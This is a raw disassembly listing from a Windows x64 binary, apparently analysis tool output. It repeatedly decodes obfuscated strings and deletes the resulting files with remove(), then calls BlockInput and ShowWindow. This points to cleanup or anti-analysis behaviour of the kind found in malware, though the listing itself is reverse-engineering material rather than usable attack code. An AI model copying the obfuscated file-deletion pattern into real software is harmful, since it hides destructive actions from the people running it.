movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], WSAGetLastError
mov dword [rsp + 0x48], 0x54
mov dword [rsp + 0x4c], 0x59
movdqa xmm0, xmmword [0x1400a6910]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6f60]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a69e0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp - 0x7c], 0x56
mov dword [rbp - 0x78], 0x64
lea rcx, [rsp + 0x30]
call fcn.140027730
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], Ordinal_35
mov dword [rsp + 0x48], 0x3f
mov dword [rsp + 0x4c], 0x56
movdqa xmm0, xmmword [0x1400a6e00]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6f00]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6ad0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], WSAGetLastError
mov dword [rbp - 0x7c], 0x7b
mov dword [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rsp + 0x30]
call fcn.140027280
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], Ordinal_46
mov dword [rsp + 0x48], 0x57
mov dword [rsp + 0x4c], Ordinal_79
movdqa xmm0, xmmword [0x1400a7180]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6e50]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6ac0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], Ordinal_46
mov dword [rbp - 0x7c], 6
mov dword [rbp - 0x78], Ordinal_79
lea rcx, [rsp + 0x30]
call fcn.140026d90
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], WSAStartup
mov dword [rsp + 0x48], reloc.WS2_32.dll_ntohl
mov dword [rsp + 0x4c], 7
movdqa xmm0, xmmword [0x1400a6fc0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a68f0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6960]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], Ordinal_79
mov dword [rbp - 0x7c], 0x3e
mov dword [rbp - 0x78], reloc.WS2_32.dll_recvfrom
lea rcx, [rsp + 0x30]
call fcn.1400268e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], 0x79
mov dword [rsp + 0x48], Ordinal_79
mov dword [rsp + 0x4c], 0x58
movdqa xmm0, xmmword [0x1400a70d0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6f30]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a7010]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], Ordinal_79
mov dword [rbp - 0x7c], Ordinal_60
mov dword [rbp - 0x78], Ordinal_41
lea rcx, [rsp + 0x30]
call fcn.1400263f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], reloc.WS2_32.dll_socket
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x4c], 0x46
movdqa xmm0, xmmword [0x1400a6a70]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6e30]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a69c0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], eax
mov dword [rbp - 0x7c], Ordinal_60
mov dword [rbp - 0x78], Ordinal_46
lea rcx, [rsp + 0x30]
call fcn.140025f00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], Ordinal_46
mov dword [rsp + 0x48], Ordinal_35
mov dword [rsp + 0x4c], 0x63
movdqa xmm0, xmmword [0x1400a6d50]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6ff0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6b10]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x67
mov dword [rbp - 0x7c], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp - 0x78], reloc.WS2_32.dll_WSAStartup
lea rcx, [rsp + 0x30]
call fcn.140025a50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_35
mov dword [rsp + 0x48], select
mov dword [rsp + 0x4c], WSAStartup
movdqa xmm0, xmmword [0x1400a6e70]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a70e0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6d80]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x56
mov dword [rbp - 0x7c], reloc.WLDAP32.dll_Ordinal_27
mov dword [rbp - 0x78], 5
lea rcx, [rsp + 0x30]
call fcn.1400255a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x48], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x4c], gethostname
movdqa xmm0, xmmword [0x1400a6da0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6ca0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6b80]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6fe0]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400250b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0x7b
mov dword [rsp + 0x48], select
mov dword [rsp + 0x4c], Ordinal_46
movdqa xmm0, xmmword [0x1400a6dd0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6bf0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6af0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a7250]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140024bc0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0x52
mov dword [rsp + 0x48], 0x3e
mov dword [rsp + 0x4c], 0x43
movdqa xmm0, xmmword [0x1400a70f0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6dc0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6a10]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6e80]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400246d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], Ordinal_79
mov dword [rsp + 0x48], 0x77
mov dword [rsp + 0x4c], select
movdqa xmm0, xmmword [0x1400a6e10]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6990]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6ed0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6cd0]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400241e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], Ordinal_46
mov dword [rsp + 0x48], select
mov dword [rsp + 0x4c], WSAStartup
movdqa xmm0, xmmword [0x1400a6970]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a7110]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a71f0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6d00]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140023cf0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], Ordinal_50
mov dword [rsp + 0x48], Ordinal_79
mov dword [rsp + 0x4c], 0x45
movdqa xmm0, xmmword [0x1400a6b50]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6e20]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6a90]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6ea0]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140023800
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0x3f
mov dword [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_22
mov dword [rsp + 0x4c], 0x40
movdqa xmm0, xmmword [0x1400a6c30]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6d60]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6b70]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a68b0]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140023310
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0x50
mov dword [rsp + 0x48], Ordinal_60
mov dword [rsp + 0x4c], 0x5d
movdqa xmm0, xmmword [0x1400a6f20]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6fa0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6f50]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6e60]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140022e20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x48], Ordinal_60
mov dword [rsp + 0x4c], 0x77
movdqa xmm0, xmmword [0x1400a6ec0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a71b0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6fb0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6920]
movdqu xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x30]
call fcn.140022930
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx edx, si
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
nop
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, r13
call fcn.14008efcc
mov rcx, qword [rbp + 0x1a8]
xor rcx, rsp
call fcn.14008ef70
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret